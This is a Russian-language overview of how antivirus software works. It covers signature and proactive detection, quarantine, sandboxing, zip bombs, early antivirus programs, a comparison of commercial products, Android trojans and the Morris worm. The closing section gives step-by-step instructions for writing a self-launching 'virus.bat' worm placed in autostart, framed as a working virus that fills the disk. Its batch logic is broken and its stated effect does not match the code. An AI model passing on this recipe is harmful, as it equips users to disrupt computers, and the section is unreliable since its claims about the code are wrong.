## Антивирусы. Принципы работы и их краткий обзор

### Общие понятия

**Антиви́русная програ́мма (антиви́рус)** — специализированная программа для обнаружения компьютерных вирусов, а также нежелательных (считающихся вредоносными) программ вообще и восстановления заражённых (модифицированных) такими программами файлов, а также для профилактики — предотвращения заражения (модификации) файлов или операционной системы вредоносным кодом.

На данный момент антивирусное программное обеспечение разрабатывается, в основном, для ОС семейства Windows от компании Microsoft. Это вызвано большим количеством вредоносных программ именно под эту платформу (а это, в свою очередь, вызвано большой популярностью этой ОС, так же, как и большим количеством средств разработки, в том числе бесплатных и даже «инструкций по написанию вирусов»). В настоящий момент на рынок выходят продукты и для других операционных систем, таких, к примеру, как Linux и Mac OS X. Это вызвано началом распространения компьютерных вирусов и под эти платформы, хотя UNIX-подобные системы традиционно пользуются репутацией более устойчивых к воздействию вредоносных программ.

Помимо ОС для настольных компьютеров и ноутбуков, также существуют платформы и для мобильных устройств, такие, как Windows Mobile, Symbian, Apple iOS, BlackBerry, Android, Windows Phone 7 и др. Пользователи устройств на данных ОС также подвержены риску заражения вредоносным программным обеспечением, поэтому некоторые разработчики антивирусных программ выпускают продукты и для таких устройств.

По используемым технологиям антивирусной защиты:

* Классические антивирусные продукты (продукты, применяющие только сигнатурныной защиты, продукты, применяющие только проактивные технологии антивирусной защиты);
* Комбинированные продукты (продукты, применяющие как сигнатурные методы защиты, так и проактивные)

**Обнаружение, основанное на сигнатурах** — метод работы антивирусов и систем обнаружения вторжений, при котором программа, просматривая файл или пакет, обращается к словарю с известными вирусами, составленному авторами программы. В случае соответствия какого-либо участка кода просматриваемой программы известному коду (сигнатуре) вируса в словаре, программа антивирус может заняться выполнением одного из следующих действий:

1. Удалить инфицированный файл.
2. Отправить файл в «карантин» (то есть сделать его недоступным для выполнения, с целью недопущения дальнейшего распространения вируса).
3. Попытаться восстановить файл, удалив сам вирус из тела файла.

Для достижения достаточно продолжительного успеха при использовании этого метода необходимо периодически пополнять словарь известных вирусов новыми определениями (в основном в онлайновом режиме).

* Достоинства и недостатки:
* Позволяют определять конкретную атаку с высокой точностью и малой долей ложных вызовов
* Беззащитны перед полиморфными вирусами и изменёнными версиями того же вируса
* Требуют регулярного и крайне оперативного обновления
* Требуют кропотливого ручного анализа вирусов
* Неспособны выявить какие-либо новые атаки

### Карантин

**Карантин** – это некоторая защищенная антивирусом область, которая позволяет понаблюдать за действиями файла, а также за работой программ и операционной системы в отсутствии этого файла на прежнем месте. Дело в том, что при перемещении файла в карантин он удаляется из своего первоначального месторасположения и копируется в некоторую папку, которая находится под контролем антивируса. Такой подход позволяет обезопасить себя от проблем, которые обязательно возникнут если вдруг какой-то важный для работы программы или операционной системы файл будет ошибочно удален антивирусом, ведь в случае возникновения проблем вы всегда сможете вернуть файл из карантина назад.

Чаще всего лечение доступно только при сигнатурном анализе. Из программы удаляется код вируса.

### Проактивные технологии

**Проактивные технологии** — совокупность технологий и методов, используемых в антивирусном программном обеспечении, основной целью которых, в отличие от реактивных (сигнатурных) технологий, является предотвращение заражения системы пользователя, а не поиск уже известного вредоносного программного обеспечения в системе. При этом проактивная защита старается блокировать потенциально опасную активность программы только в том случае, если эта активность представляет реальную угрозу. Серьезный недостаток проактивной защиты — блокирование легитимных программ (ложные срабатывания).

#### Технологии проактивной защиты:

**Эвристический анализ**

Технология эвристического анализа позволяет на основе анализа кода выполняемого приложения, скрипта или макроса обнаружить участки кода, отвечающие за вредоносную активность.

Эффективность данной технологии не является высокой, что обусловлено большим количеством ложных срабатываний при повышении чувствительности анализатора, а также большим набором техник, используемых авторами вредоносного ПО для обхода эвристического компонента антивирусного ПО.

**Эмуляция кода**

Технология эмуляции позволяет запускать приложение в среде эмуляции, эмулируя поведение ОС или центрального процессора. При выполнении приложения в режиме эмуляции приложение не сможет нанести вреда системе пользователя, а вредоносное действие будет детектировано эмулятором.

Несмотря на кажущуюся эффективность данного подхода, он также не лишен недостатков — эмуляция занимает слишком много времени и ресурсов компьютера пользователя, что негативно сказывается на быстродействии при выполнении повседневных операций, также, современные вредоносные программы способны обнаруживать выполнение в эмулированной среде и прекращать свое выполнение в ней.

**Анализ поведения**

Технология анализа поведения основывается на перехвате всех важных системных функций или установке т. н. мини-фильтров, что позволяет отслеживать всю активность в системе пользователя. Технология поведенческого анализа позволяет оценивать не только единичное действие, но и цепочку действий, что многократно повышает эффективность противодействия вирусным угрозам. Также, поведенческий анализ является технологической основой для целого класса программ — поведенческих блокираторов (HIPS — Host-based Intrusion Systems).

**Sandboxing (Песочница)**

 — ограничение привилегий выполнения.

Технология Песочницы работает по принципу ограничения активности потенциально вредоносных приложений таким образом, чтобы они не могли нанести вреда системе пользователя.

Ограничение активности достигается за счет выполнения неизвестных приложений в ограниченной среде — собственно песочнице, откуда приложение не имеет прав доступа к критическим системным файлам, веткам реестра и другой важной информации. Технология ограничения привилегий выполнения является эффективной технологией противодействия современным угрозам, но, следует понимать, что пользователь должен обладать знаниями, необходимыми для правильной оценки неизвестного приложения.

**Виртуализация рабочего окружения**

Технология виртуализации рабочего окружения работает с помощью системного драйвера, который перехватывает все запросы на запись на жесткий диск и вместо выполнения записи на реальный жесткий диск выполняет запись в специальную дисковую область — буфер. Таким образом, даже в том случае, если пользователь запустит вредоносное программное обеспечение, оно проживет не далее, чем до очистки буфера, которая по умолчанию выполняется при выключении компьютера.

Однако, следует понимать, что технология виртуализации рабочего окружения не сможет защитить от вредоносных программ, основной целью которых является кража конфиденциальной информации, так как доступ на чтение к жесткому диску не запрещен.

Антивирусы для сайтов можно поделить условно на несколько типов:

* Серверный — устанавливается на веб-сервер. Поиск вирусов, в этом случае, происходит в файлах всего сервера.
* Скрипт или компонент CMS — выполняющий поиск вредоносного кода, непосредственно в файлах сайта.
* SaaS сервис — система централизованного управления, позволяющая управлять файлами, базами данных, настройками и компонентами веб-ресурсов на VDS и DS удаленно.

Говоря о системах Майкрософт, следует знать, что обычно антивирус действует по схеме:

* поиск в базе данных антивирусного ПО сигнатур вирусов.
* если найден инфицированный код в памяти (оперативной и/или постоянной), запускается процесс «карантина», и процесс блокируется.
* зарегистрированная программа обычно удаляет вирус, незарегистрированная просит регистрации и оставляет систему уязвимой.

Для использования антивирусов необходимы постоянные обновления так называемых баз антивирусов. Они представляют собой информацию о вирусах — как их найти и обезвредить. Поскольку вирусы пишут часто, то необходим постоянный мониторинг активности вирусов в сети. Для этого существуют специальные сети, которые собирают соответствующую информацию. После сбора этой информации производится анализ вредоносности вируса, анализируется его код, поведение, и после этого устанавливаются способы борьбы с ним. Чаще всего вирусы запускаются вместе с операционной системой. В таком случае можно просто удалить строки запуска вируса из реестра, и на этом в простом случае процесс может закончиться. Более сложные вирусы используют возможность заражения файлов. Например, известны случаи, как некие даже антивирусные программы, будучи зараженными, сами становились причиной заражения других чистых программ и файлов. Поэтому более современные антивирусы имеют возможность защиты своих файлов от изменения и проверяют их на целостность по специальному алгоритму. Таким образом, вирусы усложнились, как и усложнились способы борьбы с ними. Сейчас можно увидеть вирусы, которые занимают уже не десятки килобайт, а сотни, а порой могут быть и размером в пару мегабайт. Обычно такие вирусы пишут в языках программирования более высокого уровня, поэтому их легче остановить. Но по-прежнему существует угроза от вирусов, написанных на низкоуровневых машинных кодах наподобие ассемблера. Сложные вирусы заражают операционную систему, после чего она становится уязвимой и нерабочей.

### Выявление сетевых атак

Процесс обнаружения информационных атак начинается со сбора исходных данных, необходимых для того, чтобы сделать вывод о проведении атаки в ИС. Примерами таких данных являются:

* сведения о пакетах данных, передаваемых в ИС;
* информация о производительности программно-аппаратного обеспечения ИС (вычислительная нагрузка на процессор хостов ИС, загруженность оперативной памяти, скорость работы прикладного ПО и др.);
* сведения о доступе к файлам ИС;
* информация о регистрации новых пользователей в ИС и др.

Информация, собранная сетевыми и хостовыми датчиками, анализируется СОА с целью выявления возможных атак нарушителей. Анализ данных может проводиться при помощи двух основных групп методов - сигнатурных и поведенческих.

### Zip-бомбы

**Zip-бомба**, также известная как **Архив Смерти** или англ. *decompression bomb* — архивный файл, который по своей природе обладает разрушающим действием. При распаковке может вызвать крах системы. Современные антивирусы вполне распознают подобные файлы и предупреждают пользователя о разрушающем действии. Внешне подобный файл выглядит как маленький архив. При распаковке распаковывается тот же самый архив. Данный файл может предоставлять опасность для антивирусов: в попытке распаковать все архивы антивирус может забить всю память и ничего не найти.

Лучше всего с ними бороться, устанавливая количество уровней декомпрессии для проверки антивирусом.

### Первые антивирусы

Зимой 1984 г. Анди Хопкинс (Andy Hopkins) написал программы CHK4BOMB и BOMBSQAD. Первая из них позволяла проанализировать текст загрузочного модуля и выявляла все текстовые сообщения и "подозрительные" участки кода (команды прямой записи на диск и др.). Благодаря своей простоте (фактически использовался только контекстный поиск) и эффективности CHK4BOMB получила значительную популярность. Программа BOMBSQAD.COM перехватывает операции записи и форматирования, выполняемые через BIOS. При выявлении запрещенной операции можно разрешить ее выполнение. В начале 1985 г. Ги Вонг (Gee Wong) написал программу DPROTECT - резидентную программу, перехватывающую попытки записи на дискеты и винчестер. Она блокировала все операции (запись, форматирование), выполняемые через BIOS. В случае выявления такой операции программа требует рестарта системы. Несколько позднее появилась программа FLUSHOT, написанная Росс М. Гринберг. Более поздняя версия этой программы - FluShot Plus (версия 1.7), распространяемая как SHAREWARE с регистрационной ценой 10 долларов, используется и в настоящее время.

### Сравнение современных антивирусов.

#### Avast!

**Avast!** — антивирусная программа для операционных систем Windows, Linux, Mac OS, а также для КПК на платформе Palm, Android и Windows CE. Разработка компании AVAST Software, основанной в 1991 году в Чехословакии. Avast! Free Antivirus считается самым популярным бесплатным антивирусом. Всего же антивирусом Avast! пользуются более 230 миллионов пользователей во всём мире.

**Возможности:**

* Проверка компьютера на вирусы во время запуска, до полной загрузки операционной системы. При этом Avast! использует прямой доступ к жёстким дискам, т.е в обход драйверов файловой системы Windows. Avast! — единственный антивирус, в котором встречается подобного рода функция.
* Начиная с шестой версии, бесплатный вариант антивируса включает дополнительную функцию WebRep. Эта функция информирует пользователя о репутации посещаемых сайтов на основании оценок, выставленных сообществом пользователей Avast!. Работает в браузерах Internet Explorer, Mozilla Firefox и Google Chrome. В седьмой версии реализована и для Opera. В девятой версии переименована в Avast! Online Security.
* Голосовые сообщения при обнаружении вредоносной программы, успешном обновлении вирусной базы данных и завершении сканирования. Одновременно с этим в нижнем правом углу экрана появляется соответствующее сообщение. До пятой версии использовался мужской голос. Начиная с пятой — женский. Также на официальном сайте можно найти и другие голоса на разных языках (на русском языке дополнительных голосов пока нет).

#### Comodo AntiVirus

**Comodo AntiVirus** — бесплатный антивирус с закрытым кодом компании Comodo для Microsoft Windows XP, Vista, Windows 7 и Windows 8. Comodo AntiVirus входит в состав Comodo Internet Security.

**Возможности:**

* Ежедневные, автоматические обновления антивирусных баз.
* Изолирование подозрительных файлов в карантин для предотвращения инфекции.
* Проактивная защита включает в себя HIPS (Host Intrusion Prevention Systems) — система отражения локальных угроз. Задачей HIPS является контроль за работой приложений и блокировка потенциально опасных операций по заданным критериям.

#### Dr.Web

**Dr.Web** (рус. ***Доктор Веб***) — общее название семейства программного антивирусного ПО для различных платформ (Windows, OS X, Linux, мобильные платформы).  Разрабатывается компанией «Доктор Веб».

**Возможности:**

* Возможность установки на зараженную машину.
* Обнаружение и лечение сложных полиморфных, шифрованных вирусов и руткитов.
* Компактная вирусная база и небольшой размер обновлений. Одна запись в вирусной базе позволяет определять до тысячи подобных вирусов.
* Обновления вирусных баз производятся немедленно по мере выявления новых вирусов, до нескольких раз в час. Разработчики антивирусного продукта отказались от выпуска обновлений вирусных баз по какому-либо графику, поскольку вирусные эпидемии не подчиняются таковым.
* Кроссплатформенность — используется единая вирусная база и единое ядро антивирусного сканера на разных платформах ОС.
* **Fly-code** — эмулятор с динамической трансляцией кода, реализующий механизм универсальной распаковки вирусов, защищённых от анализа и детектирования одним или цепочкой новых и/или неизвестных упаковщиков, крипторов и дропперов. Это позволяет распаковывать файлы, защищенные, к примеру, ASProtect, EXECryptor, VMProtect и тысячами других упаковщиков и протекторов, включая неизвестные антивирусу.

#### ESET NOD32

**ESET NOD32** — антивирусный пакет, выпускаемый словацкой фирмой ESET. Первая версия была выпущена в конце 1987 года. Большая часть кода антивируса написана на языке ассемблера, поэтому для него характерно малое использование системных ресурсов и высокая скорость проверки с настройками по умолчанию.

**Особенности:**

* Из участников тестирования Virus Bulletin 100% Eset NOD32 обладает наибольшим среди тестируемых (80 по состоянию на Июль 2013 года) количеством наград данной лаборатории.
* Компактный размер обновлений (размер измеряется десятками килобайт).

#### Антивирус Касперского

**Антиви́рус Каспе́рского** — антивирусное программное обеспечение, разрабатываемое Лабораторией Касперского. Предоставляет пользователю защиту от вирусов, троянских программ, шпионских программ, руткитов, adware, а также неизвестных угроз с помощью проактивной защиты, включающей компонент HIPS.

**Возможности:**

* Проверка Java- и Visual Basic-скриптов
* Анализ и устранение уязвимостей в браузере Internet Explorer
* Возможность установки программы на заражённый компьютер

Антивирус часто получает положительные отзывы за достаточно высокий уровень выявления вредоносных программ, как и часто критикуется пользователями, за большое количество ложных срабатываний. Один из самых известных недостатков, — крайне большая ресурсоёмкость программы. Антивирус Касперского критикуют за его избыточную назойливость. Например, знаменитый «поросячий визг» — звук при обнаружении вирусов в старых версиях программы, который пугал большинство пользователей. И хотя этот звук убрали в седьмой версии программы, у многих пользователей антивирус Касперского ассоциируется с этим звуком.

#### Рейтинг антивирусов по количеству скачиваний с сайта Comss.ru за 2014:

1. AVAST Software
2. Kaspersky Lab
3. Doctor Web
4. AVG Technologies
5. ESET
6. Comodo
7. Перфомикс/Adguard
8. Qihoo 360
9. Avira Operations
10. Symantec/Norton

### Вирусы для android

В конце апреля 2013 эксперты компании Lookout Mobile Security обнаружили на Google Play тридцать две программы, содержащие инфицированную библиотеку. Вредоносный компонент был интегрирован под видом стандартной рекламной фукнции в игры, словари и утилиты уже после того, как они успешно прошли проверку в Google Play.

Всего заражённые программы были скачены около девяти миллионов раз. Помимо традиционных рекламных сообщений пользователи получали заведомо ложные предупреждения о мнимых угрозах и критических обновлениях. При клике на таком баннере происходило перенаправление на заражённый или фишинговый веб-сайт.

Скрыто от пользователя троянская компонента подключалась к контролируемым злоумышленниками удаленным серверам и передавали своим создателям собранную информацию, включая номер мобильного телефона и его IMEI. Дополнительно загружался троян семейства AlphaSMS, отправлявший SMS на платные номера.

Апрельский скандал получил продолжение. Недавно специалистами компании Webroot на Google Play был обнаружен очередной троян, распространяемый под видом программы управления шрифтами. Во всех случаях пострадавшие либо не пользовались антивирусами, либо последние оказались неэффективны.

### Червь Морриса.

В 1988 году Робертом Моррисом-младшим был создан первый массовый сетевой червь. 60 000-байтная программа разрабатывалась с расчётом на поражение операционных систем UNIX Berkeley 4.3. Вирус изначально разрабатывался как безвредный и имел целью лишь скрытно проникнуть в вычислительные системы, связанные сетью ARPANET, и остаться там необнаруженным. Вирусная программа включала компоненты, позволяющие раскрывать пароли, имеющиеся в инфицированной системе, что, в свою очередь, позволяло программе маскироваться под задачу легальных пользователей системы, на самом деле занимаясь размножением и рассылкой копий. Вирус не остался скрытым и полностью безопасным, как задумывал автор, в силу незначительных ошибок, допущенных при разработке, которые привели к стремительному неуправляемому саморазмножению вируса.

По самым скромным оценкам инцидент с червём Морриса стоил свыше 8 миллионов часов потери доступа и свыше миллиона часов прямых потерь на восстановление работоспособности систем. Общая стоимость этих затрат оценивается в 96 миллионов долларов (в эту сумму, также, не совсем обосновано, включены затраты по доработке операционной системы). Ущерб был бы гораздо больше, если бы вирус изначально создавался с разрушительными целями.

Червь Морриса поразил свыше 6200 компьютеров. В результате вирусной атаки большинство сетей вышло из строя на срок до пяти суток. Компьютеры, выполнявшие коммутационные функции, работавшие в качестве файл-серверов или выполнявшие другие функции обеспечения работы сети, также вышли из строя.

### Написание собственного червя.

1. Войдите в систему как администратор.
2. Откройте диск С: и создайте там папку Programs.
3. Откройте Блокнот и введите: @echo off
4. На второй строке введите: Copy C:\Programs\virus.bat C:\Programs. На третьей строке введите: Start C:\Programs\virus.bat
5. Нажмите «Сохранить как» и сохраните файл под именем virus.bat в созданной папке Programs.
6. Вставьте его ярлык в папку автозагрузки.
7. Вы успешно написали вирус (червь). Чтобы запустить его, перезагрузите компьютер и на диске С: не останется свободного места.